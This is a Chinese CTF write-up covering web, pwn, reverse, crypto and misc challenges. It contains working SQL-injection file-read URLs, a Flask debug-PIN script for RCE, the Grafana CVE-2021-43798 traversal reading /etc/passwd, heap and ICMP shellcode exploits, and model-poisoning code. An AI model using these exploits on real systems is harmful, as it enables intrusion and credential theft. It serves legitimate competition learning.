Web
oh-my-notepro
debug 模式为开,随便试一试即可触发报错,note_id 处存在注入,使用 load data local infile 'xx' into table xx
可以读文件。
创建临时表:
http://123.60.72.85:5002/view?note_id=' union select 1,2,3,4,5;create table otable(data varchar(10000));--+
把文件写入表中:
http://123.60.72.85:5002/view?note_id=' union select 1,2,3,4,5;load data local infile "/app/app.py" into table otable;--+
读取数据:
http://123.60.72.85:5002/view?note_id=' union select 1,2,3,(select group_concat(data, '\n') from (select data from otable limit 0,50)x),5;--+
debug模式为开,考虑计算flask debug pin,exp如下:
import hashlib
from itertools import chain
def get_machine_id():
machine_id = '1cc402dd0e11d5ae18db04a6de87223d' # /etc/machine-id
boot_id = '' # /proc/sys/kernel/random/boot_id
cgroup = '4b13f9ab9776ea7cf70e6ab9b3a06f5987e0d7b73fe5703ecf8e1d06018ebc71' # /proc/1/cgroup
linux = machine_id + boot_id + cgroup
return linux
rv = None
num = None
mac = '02:42:ac:1c:00:03'# /sys/class/net/eth0/address
probably_public_bits = [
'ctf',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
str(int(mac.replace(':',''), 16)),
get_machine_id()
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
算出pin,访问/console即可rce。
oh-my-lotto
将环境变量PATH设置为空即可跳过wget命令。第一次正常访问/lotto,然后访问/result获取结果,然后上传至/forecast,然后再次访问/lotto,提供环境变量PATH为空,即可使forecast与result相同,获得flag。
oh-my-grafana
cve-2021-43798任意文件读:GET /public/plugins/welcome/../../../../../../../../etc/passwd HTTP/1.1
读到了配置文件:/public/plugins/welcome/../../../../../../../..//etc/grafana/grafana.ini
发现唯一生效的配置文件就是 adminpassword
admin_user = admin
admin_password = 5f989714e132c9b04d4807dafeb10ade
看上去是个md5,但是实际上就是密码(在非隔离环境下需要多登录几次)
登进去后有个mysql服务,可以任意查询语句,趁着一堆人直接上车 select * from fffffflllllllllaaaagggggg
Pwn
examination
leak,任意地址添加 1 更改 len,堆溢出
from pwn import *
import sys
context(os='linux', arch='amd64', log_level='debug')
p = process("./examination")
# p = remote("124.70.130.92", 60001)
libc = ELF("./libc-2.31.so")
def debugf(b=0):
if debug:
if b:
gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
else:
gdb.attach(p)
elf = ELF('./examination')
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)
heap_base = 0
def menu(i):
sla(b"choice>> ", str(i))
def add_student(q):
menu(1)
sla(b"questions:", str(q))
def give_score():
menu(2)
def write_view(i, size, content, flag):
menu(3)
sla("which one? >", str(i))
if flag != 1:
sla("please input the size of comment: ", str(size))
sa("enter your comment:", content)
def free(i):
menu(4)
sla("choose?", str(i))
def change_role(i):
menu(5)
sla("role: <0.teacher/1.student>:", str(i))
def pray():
menu(3)
def check_view():
menu(2)
def reward():
menu(2)
ru("reward! ")
base = ru(b"\n")[:-1]
global heap_base
heap_base = int(base, 16) - 0x2a0
print(hex(heap_base))
sla("addr: ", str(heap_base+0x2e0+1).encode() + b"\x00")
def set_mode(i):
menu(4)
sla("100", str(i))
def change_id(i):
menu(6)
sla("id:", str(i))
sl("0")
add_student(1)
change_role(1)
pray()
change_role(0)
give_score()
write_view(0, 0x18, b"a"*0x10, 0)
change_role(1)
reward()
change_role(0)
add_student(1)
payload1 = b"a"*0x18+p64(0x31) + p64(heap_base + 0x340) + p64(0)*4 + p64(0x21) + p32(1) + p32(0x41) + p64(heap_base+0x10) + p64(0x2a0+0x120)
write_view(0,0x118 ,payload1, 1)
write_view(1, 0x118, p16(0x7)*0x10, 1)
add_student(2)
write_view(2,0x100, b"a"*0x20, 0)
add_student(3)
write_view(3,0x8, b"/bin/sh\x00", 0)
free(2)
change_role(1)
change_id(1)
menu(2)
ru("review:")
rv(0x3a1)
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - libc.sym["__malloc_hook"] - 0x10 - 96
print(hex(libc.address))
change_role(0)
payload2 = b"a"*0x18+p64(0x31) + p64(heap_base + 0x340) + p64(0)*4 + p64(0x21) + p32(1) + p32(0x41) + p64(libc.sym["__free_hook"]) + p64(0x2a0+0x120)
write_view(0,0x118, payload2, 1)
write_view(1,0x118, p64(libc.sym["system"]), 1)
gdb.attach(p)
# free(3)
p.interactive()
ping
from scapy.all import *
from pwn import *
context.arch = 'i386'
res = b''
def pwn(num,idx):
global res
payload1 = asm(shellcraft.memcpy(0x10c2aa,0x350000+idx,1))
payload1 += asm('''
mov eax, 0x0010014b
jmp eax
''')
payload =p8(num)+ b'\x90'*(484-1-len(payload1))+payload1
payload +=p32(0x10c280) + p32(0x0010c8ac)+p32(0x00000023)+p32(0x0010a6b4)+p32(0x0010a6b4)+p32(0x10c2aa+50)+p32(0x0010c8ac)+p32(0x00000212)+p32(0x0010c280)+p32(0x0010c878)+p32(0)+p32(0x00010000)+p32(0)+p32(0x00107974)+p32(0x00010000)+p32(0x2badb002)+p32(0)*5
b = IP(dst='20.239.70.121', len=596)/ICMP()/payload
b = IP(raw(b))
checksum_scapy = b[ICMP].chksum
b = IP(dst='20.239.70.121', len=596)/ICMP(chksum=checksum_scapy )/payload
ping = sr1(b, timeout=0.5)
if ping:
res+=p8(num)
print(res)
return num
return 0
for idx in range(6,24):
for num in range(0x21,0x7f):
print(num,idx)
if pwn(num,idx):
break
print(res)
Re
Simple File System
输入plantflag可以植入flag文件的某种翻译方式到某个块里
把所有可打印字符放进flag文件,就可以得到翻译的字典
在image.flag文件里找*CTF翻译后的前缀,就有整个flag了
Jump
在sub_402689运行了 sub_4119F0(qword_4C9400, (__int64)"%c%s%c", 2LL, (const char *)dword_4C9620, 3LL);
后下硬件断点,发现生成了以所有位置为起始的字符串。
随后这些字符串传入 sub_401F62
,进行快排。
最后在 sub_402826
中以排序后的所有字符串的最后一位构成密文,并与目标比较
因此可以得知target中每个字符的后一个字符是顺序排列的
target = '\x03jmGn_=uaSZLvN4wFxE6R+p\x02D2qV1CBTck'
sorttar = list(target)
sorttar.sort()
flag = ['\x03']
for _ in range(0x21):
c = flag[0]
flag = [target[sorttar.index(c)]] + flag
print (''.join(flag[1:-1]))
NaCl
一个 feistal 结构的8字节分组密码,一个 xtea 密码
整体循环分为 4 次,每次处理 8 字节
先进行密钥扩展,这一步每次都要进,但仅第一次执行
随后进行 feistal 的加密,加密之后进行 xtea 加密,xtea的循环次数取决于大循环的次数
解密脚本
from libnum import *
def xtea_decrypt(v, i):
'''v: list'''
key = [0x3020100, 0x7060504, 0xB0A0908, 0xF0E0D0C]
v0, v1 = v
delta = 0x10325476
sum=(delta * (1 << i)) & 0xffffffff
for _ in range(1 << i):
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3])
v1 &= 0xffffffff
sum -= delta
sum &= 0xffffffff
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3])
v0 &= 0xffffffff
return [v0, v1]
def rol(x, i):
return ((x << i) | (x >> (32 - i))) & 0xffffffff
key = [
0x4050607, 0x10203, 0x0C0D0E0F, 0x8090A0B, 0x0CD3FE81B, 0x0D7C45477, 0x9F3E9236, 0x107F187,
0x0F993CB81, 0x0BF74166C, 0x0DA198427, 0x1A05ABFF, 0x9307E5E4, 0x0CB8B0E45, 0x306DF7F5, 0x0AD300197,
0x0AA86B056, 0x449263BA, 0x3FA4401B, 0x1E41F917, 0x0C6CB1E7D, 0x18EB0D7A, 0x0D4EC4800, 0x0B486F92B,
0x8737F9F3, 0x765E3D25, 0x0DB3D3537, 0x0EE44552B, 0x11D0C94C, 0x9B605BCB, 0x903B98B3, 0x24C2EEA3,
0x896E10A2, 0x2247F0C0, 0x0B84E5CAA, 0x8D2C04F0, 0x3BC7842C, 0x1A50D606, 0x49A1917C, 0x7E1CB50C,
0x0FC27B826, 0x5FDDDFBC, 0x0DE0FC404, 0xB2B30907
]
cipher = [
0xFDF5C266, 0x7A328286, 0xCE944004, 0x5DE08ADC,
0xA6E4BD0A, 0x16CAADDC, 0x13CD6F0C, 0x1A75D936,
]
for i in range(0, 4):
l, r = xtea_decrypt(cipher[2*i:2*i+2], i+1)
for j in range(44):
l, r = r, l
l ^= (rol(r, 1) & rol(r, 8)) ^ rol(r, 2) ^ key[43 - j]
l, r = r, l
print (n2s(l).decode() + n2s(r).decode(), end='')
Crypto
ezRSA
q的前124位能求出来,然后第300-900位可以通过移比特确定(看下面代码,思路跟zer0pts那个anti很像),最后300位直接copper
不知道为啥,本地测试了一下,下面这个脚本只能爆出450-900位的,第300-450有点小问题,但是总共只有450bit不确定,还是能直接copper,直接就出了
from Crypto.Util.number import long_to_bytes
import gmpy2
n = 0xe78ab40c343d4985c1de167e80ba2657c7ee8c2e26d88e0026b68fe400224a3bd7e2a7103c3b01ea4d171f5cf68c8f00a64304630e07341cde0bc74ef5c88dcbb9822765df53182e3f57153b5f93ff857d496c6561c3ddbe0ce6ff64ba11d4edfc18a0350c3d0e1f8bd11b3560a111d3a3178ed4a28579c4f1e0dc17cb02c3ac38a66a230ba9a2f741f9168641c8ce28a3a8c33d523553864f014752a04737e555213f253a72f158893f80e631de2f55d1d0b2b654fc7fa4d5b3d95617e8253573967de68f6178f78bb7c4788a3a1e9778cbfc7c7fa8beffe24276b9ad85b11eed01b872b74cdc44959059c67c18b0b7a1d57512319a5e84a9a0735fa536f1b3
c = 0xd7f6c90512bc9494370c3955ff3136bb245a6d1095e43d8636f66f11db525f2063b14b2a4363a96e6eb1bea1e9b2cc62b0cae7659f18f2b8e41fca557281a1e859e8e6b35bd114655b6bf5e454753653309a794fa52ff2e79433ca4bbeb1ab9a78ec49f49ebee2636abd9dd9b80306ae1b87a86c8012211bda88e6e14c58805feb6721a01481d1a7031eb3333375a81858ff3b58d8837c188ffcb982a631e1a7a603b947a6984bd78516c71cfc737aaba479688d56df2c0952deaf496a4eb3f603a46a90efbe9e82a6aef8cfb23e5fcb938c9049b227b7f15c878bd99b61b6c56db7dfff43cd457429d5dcdb5fe314f1cdf317d0c5202bad6a9770076e9b25b1
hight_124 = int(bin(gmpy2.iroot(n, 2)[0])[2:][:124], 2)
p = ((hight_124 << 900) ^ (1<<900)-1) ^ ((1<<300)-1)
q = (hight_124 << 900)
for i in range(898, 299, -1):
cur = 1<<i
if (p^cur) * (q^cur) < n:
p ^= cur
q ^= cur
print(p >> 450)
#Sage
from sage.all import *
n = 0xe78ab40c343d4985c1de167e80ba2657c7ee8c2e26d88e0026b68fe400224a3bd7e2a7103c3b01ea4d171f5cf68c8f00a64304630e07341cde0bc74ef5c88dcbb9822765df53182e3f57153b5f93ff857d496c6561c3ddbe0ce6ff64ba11d4edfc18a0350c3d0e1f8bd11b3560a111d3a3178ed4a28579c4f1e0dc17cb02c3ac38a66a230ba9a2f741f9168641c8ce28a3a8c33d523553864f014752a04737e555213f253a72f158893f80e631de2f55d1d0b2b654fc7fa4d5b3d95617e8253573967de68f6178f78bb7c4788a3a1e9778cbfc7c7fa8beffe24276b9ad85b11eed01b872b74cdc44959059c67c18b0b7a1d57512319a5e84a9a0735fa536f1b3
p4 = 58804727289972133098258523381187273579708165828871631637667339400276723145699294300854967408059394786721660574269169740095474486979958553835424583960343801193657276948482959
e = 65537
pbits = 1024
kbits = pbits - p4.nbits()
print(p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
#经过以上一些函数处理后,n和p已经被转化为10进制
if roots:
p = p4+int(roots[0])
print("n: "+str(n))
print("p: "+str(p))
print("q: "+str(n//p))
Patches2
from pwn import *
import hashlib
C0 = 'C0'
C1 = 'C1'
C2 = 'C2'
C3 = 'C3'
C4 = 'C4'
C5 = 'C5'
C6 = 'C6'
def GFDiv(x, z):
mod = 0
while x.bit_length() >= z.bit_length():
bitLack = x.bit_length() - z.bit_length()
x = x ^ (z << bitLack)
mod = mod ^ (1 << bitLack)
return mod, x
def GFMul(x, z):
i = 0
res = 0
while z != 0:
if z & 1:
res = res ^ (x << i)
i += 1
z = (z >> 1)
return res
def xor(a, b):
xor = '( ( %(a)s ) and ( ( %(b)s ) == 0 ) ) or ( ( %(b)s ) and ( ( %(a)s ) == 0 ) )'
s = xor % {'a': a, 'b': b}
return s
def xor3(a, b, c):
temp = xor(a, b)
return xor(temp, c)
def xor4(a, b, c, d):
temp = xor(a, b)
temp2 = xor(c, d)
return xor(temp, temp2)
def f(n):
if n == 1:
return 0
else:
return 1
BCHcode = ["" for i in range(15)]
BCHcode[0] = C0
BCHcode[1] = C1
BCHcode[2] = C2
BCHcode[3] = C3
BCHcode[4] = xor(C0, C4)
BCHcode[5] = xor(C1, C5)
BCHcode[6] = xor3(C0, C2, C6)
BCHcode[7] = xor3(C0, C1, C3)
BCHcode[8] = xor4(C0, C1, C2, C4)
BCHcode[9] = xor4(C1, C2, C3, C5)
BCHcode[10] = xor4(C2, C3, C4, C6)
BCHcode[11] = xor3(C3, C4, C5)
BCHcode[12] = xor3(C4, C5, C6)
BCHcode[13] = xor(C5, C6)
BCHcode[14] = C6
context(os="linux",log_level='debug')
p=remote("124.71.145.24",60002)
p.recvuntil("sha256(xxxx+")
leave=p.recv(16).decode()
print(leave)
p.recvuntil("== ")
sha256=p.recv(64).decode()
print(sha256)
pd=0
for i in range(32,127):
for j in range(32,127):
for k in range(32,127):
for m in range(32,127):
strings = chr(i) + chr(j) + chr(k) + chr(m) + leave
s = hashlib.sha256()
s.update(strings.encode())
b = s.hexdigest()
if b == sha256:
key=chr(i) + chr(j) + chr(k) + chr(m)
print(key)
pd=1
break
if pd==1:
break
if pd==1:
break
if pd==1:
break
p.send(key)
for la in range(50):
bits = [0]*15
res=0
res2=0
for i in range(15):
p.sendlineafter("Ask Patches:",BCHcode[i])
p.recvuntil("Patches answers: ")
recvbool=p.recv(1)
if recvbool==b'T':
bits[i]=1
print(bits)
for i in range(15):
if bits[i]==1:
res^=1<<i
res2^=1<<(3*i)
pd = 0
for i in range(16):
for j in range(16):
if i != 15:
bits[i] = f(bits[i])
if j != 15:
bits[j] = f(bits[j])
res = 0
res2 = 0
for k in range(15):
if bits[k] == 1:
res ^= 1 << k
res2 ^= 1 << (3 * k)
_, mod = GFDiv(res, 19)
_, mod2 = GFDiv(res2, 4681)
if mod == 0 and mod2 == 0:
pd = 1
break
else:
if i != 15:
bits[i] = f(bits[i])
if j != 15:
bits[j] = f(bits[j])
if pd == 1:
break
res = 0
for i in range(15):
if bits[i] == 1:
res ^= 1 << i
C, _ = GFDiv(res, 465)
print(bin(C))
pay = ""
print(_)
for i in range(7):
pay += str(C % 2) + " "
C //= 2
pay=pay.strip()
p.sendlineafter("Now open the chests:",pay)
p.interactive()
Misc
babyFL
联邦学习,我们能控制20个客户端,想办法用提交的参数数据污染掉服务端的训练过程让测试达到0.95精度即可,下面分别是exp、训练脚本
import numpy as np
from pwn import *
# context(log_level='debug')
p = remote('124.70.158.154', 8081)
def get_val(arr):
if len(arr.shape) > 1:
for temp in arr:
get_val(temp)
else:
l = len(arr)
for i in range(l):
arr[i] = float(input())
res = np.load('./save/final.npy', allow_pickle=True)
# for i in range(8):
# mtx = res[i][0] * 1000
# try:
# for j in mtx:
idx = 0
mtx = res[0][0] * 1000
for i in mtx:
for j in i:
for k in j:
for l in k:
p.sendline(str(l).encode())
idx += 1
mtx = res[1][0] * 1000
for i in mtx:
p.sendline(str(i).encode())
idx += 1
mtx = res[2][0] * 1000
for i in mtx:
for j in i:
for k in j:
for l in k:
p.sendline(str(l).encode())
idx += 1
mtx = res[3][0] * 1000
for i in mtx:
p.sendline(str(i).encode())
idx += 1
mtx = res[4][0] * 1000
for i in mtx:
for j in i:
p.sendline(str(j).encode())
idx += 1
mtx = res[5][0] * 1000
for i in mtx:
p.sendline(str(i).encode())
idx += 1
mtx = res[6][0] * 1000
for i in mtx:
for j in i:
p.sendline(str(j).encode())
idx += 1
mtx = res[7][0] * 1000
for i in mtx:
p.sendline(str(i).encode())
idx += 1
print(idx)
import os
import traceback
import numpy as np
from tensorflow.keras import Sequential
from tensorflow.keras.layers import Dense, Conv2D, Flatten, MaxPooling2D
from tensorflow import keras
from tensorflow.keras.models import load_model
from tensorflow.keras.datasets import mnist
participant_number = 20
def new_model():
model = Sequential()
model.add(Conv2D(10, (3, 3), input_shape=(28, 28, 1)))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Conv2D(20, (3, 3)))
model.add(Flatten())
model.add(Dense(units=100, activation='relu'))
model.add(Dense(units=10, activation='softmax'))
model.compile(loss=keras.losses.SparseCategoricalCrossentropy(), metrics=['accuracy'],
optimizer=keras.optimizers.Adam(lr=0.001))
return model
def load_test_data():
(_, _), (x, y) = mnist.load_data()
l = len(y)
for i in range(l):
y[i] = 9 - y[i]
x = x.reshape(-1, 28, 28, 1)
return x, y
def train_models():
(x, y), (_, _) = mnist.load_data()
x = x.reshape(-1, 28, 28, 1)
for i in range(participant_number):
model = new_model()
model.fit(x, y, batch_size=64, epochs=10)
model.save("./model/"+str(i))
def aggregation(parameters):
print('aggregation')
weights = []
for layer in parameters:
sum = 0
l = len(layer)
for temp in layer:
sum = sum + temp
weights.append(sum / l)
# weights.append(layer[2])
model = new_model()
l = len(model.get_weights())
model.set_weights(weights)
return model
def test(model):
print('test')
my_x, my_y = load_test_data()
loss, acc = model.evaluate(my_x, my_y, batch_size=64)
print(loss, acc)
if acc > 0.95:
f = open('./flag')
print(f.read())
else:
print("you fail", acc)
def load_parameters():
print('load parameter')
parameters = []
models = []
for i in range(participant_number):
models.append(load_model("./inv_model/"+str(i)))
for i in range(8):
layer = []
for j in range(participant_number):
temp = models[j].get_weights()
layer.append(temp[i])
parameters.append(layer)
return parameters
def load_parameters1():
print('load parameter1')
parameters = []
models = []
for i in range(participant_number):
models.append(load_model("./model/"+str(i)))
for i in range(8):
layer = []
for j in range(participant_number):
temp = models[j].get_weights()
layer.append(temp[i])
parameters.append(layer)
return parameters
def get_val(arr):
if len(arr.shape) > 1:
for temp in arr:
get_val(temp)
else:
l = len(arr)
for i in range(l):
arr[i] = float(input())
def get_input_parameter(parameters):
print('get input parameter')
res = np.load('./save/final.npy', allow_pickle=True)
i = 0
for layer in parameters:
input_weight = np.zeros(layer[0].shape)
print("next layer:")
# get_val(input_weight)
input_weight = res[i][0] * 1000
layer.append(input_weight)
i += 1
return parameters
# 8 * 20 * (3 * 3 * 1 * 10)
if __name__ == '__main__':
parameters1 = load_parameters1()
np.save('./save/final', parameters1)
# model1 = aggregation(parameters1)
# test(model1)
# parameters2 = load_parameters()
# np.save('./save/final2', parameters2)
# model2 = aggregation(parameters2)
# test(model2)
# print(len(parameters))
# print(parameters)
parameters = load_parameters()
# np.save('./save/final', parameters)
parameters = get_input_parameter(parameters)
model = aggregation(parameters)
test(model)
Today
根据题目信息推测出在上海,通过一家农夫生鲜水果店,找到对面的小区,在地图评论区找到flag